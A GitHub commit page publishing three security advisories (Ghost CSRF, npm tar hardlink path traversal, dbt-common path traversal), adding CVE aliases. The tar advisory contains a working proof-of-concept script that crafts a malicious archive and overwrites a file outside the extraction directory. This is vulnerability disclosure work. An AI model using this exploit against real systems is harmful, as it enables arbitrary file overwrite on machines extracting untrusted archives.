Skip to content

Commit 8dbbfe2

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-9m84-wc28-w895 GHSA-qffp-2rhf-9h96 GHSA-w75w-9qv4-j5xj
1 parent afed8c5 commit 8dbbfe2

File tree

3 files changed

+12
-6
lines changed

3 files changed

+12
-6
lines changed

‎advisories/github-reviewed/2026/03/GHSA-9m84-wc28-w895/GHSA-9m84-wc28-w895.json‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9m84-wc28-w895",
4-
"modified": "2026-03-05T00:42:55Z",
4+
"modified": "2026-03-05T22:05:00Z",
55
"published": "2026-03-05T00:42:55Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-29784"
8+
],
79
"summary": "Ghost has incomplete CSRF protections around OTC use",
810
"details": "### Impact\n\nIncomplete CSRF protections around `/session/verify` made it possible to use OTCs in login sessions different from the requesting session. In some scenarios this might have made it easier for phishers to take over a Ghost site. \n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v5.101.6 up to v6.19.2.\n\n### Patches\n\nv6.19.3 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker's official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). \n\nIf a project's Ghost is a Ghost-CLI install see the documentation on [updating it to the latest version here](https://docs.ghost.org/update). \n\n### For more information\n\nIf there are any questions or comments about this advisory, send an email to [security@ghost.org](mailto:security@ghost.org).",
911
"severity": [

‎advisories/github-reviewed/2026/03/GHSA-qffp-2rhf-9h96/GHSA-qffp-2rhf-9h96.json‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qffp-2rhf-9h96",
4-
"modified": "2026-03-05T00:52:32Z",
4+
"modified": "2026-03-05T22:05:04Z",
55
"published": "2026-03-05T00:52:32Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-29786"
8+
],
79
"summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath",
810
"details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
911
"severity": [

‎advisories/github-reviewed/2026/03/GHSA-w75w-9qv4-j5xj/GHSA-w75w-9qv4-j5xj.json‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-w75w-9qv4-j5xj",
4-
"modified": "2026-03-05T00:59:10Z",
4+
"modified": "2026-03-05T22:05:08Z",
55
"published": "2026-03-05T00:59:10Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-29790"
8+
],
79
"summary": "dbt-common's commonprefix() doesn't protect against path traversal",
810
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA path traversal vulnerability exists in dbt-common's `safe_extract()` function used when extracting tarball archives. The function uses `os.path.commonprefix()` to validate that extracted files remain within the intended destination directory. However, `commonprefix()` compares paths character-by-character rather than by path components, allowing a malicious tarball to write files to sibling directories with matching name prefixes.\n\nFor example, when extracting to `/tmp/packages`, a crafted tarball could write files to `/tmp/packagesevil/` by exploiting the character-based prefix matching.\n\nThis vulnerability affects users who:\n- Install dbt packages from untrusted sources\n- Process tarball archives through dbt-common's extraction utilities\n\nThe practical risk is limited because:\n- Exploitation requires a malicious tarball to be processed\n- File writes are restricted to sibling directories with matching prefixes (not arbitrary paths)\n- Packages from trusted sources (dbt Hub) are not affected\n\nThis is similar to CVE-2026-1703 in pip, which had a CVSS score of 3.9 (Low).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in `dbt-common` version 1.37.3 & 1.34.2, and patched for dbt-core 1.11.7 and 1.10.20 releases.\n\nThe fix replaces `os.path.commonprefix()` with `os.path.commonpath()`, which correctly compares paths by their components rather than characters.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- Only install dbt packages from trusted sources (official dbt Hub, verified git repositories)\n- Avoid installing packages from untrusted URLs or unverified third parties\n- Review package contents before installation when sourcing from external locations\n\n### Resources\n_Are there any links users can visit to find out more?_\n\n1. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): https://cwe.mitre.org/data/definitions/22.html\n2. CVE-2026-1703 (similar vulnerability in pip): https://nvd.nist.gov/vuln/detail/CVE-2026-1703\n3. pip fix PR #13777: https://github.com/pypa/pip/pull/13777\n4. Python documentation on `commonpath` vs `commonprefix`: https://docs.python.org/3/library/os.path.html#os.path.commonpath",
911
"severity": [

0 commit comments

Comments
 (0)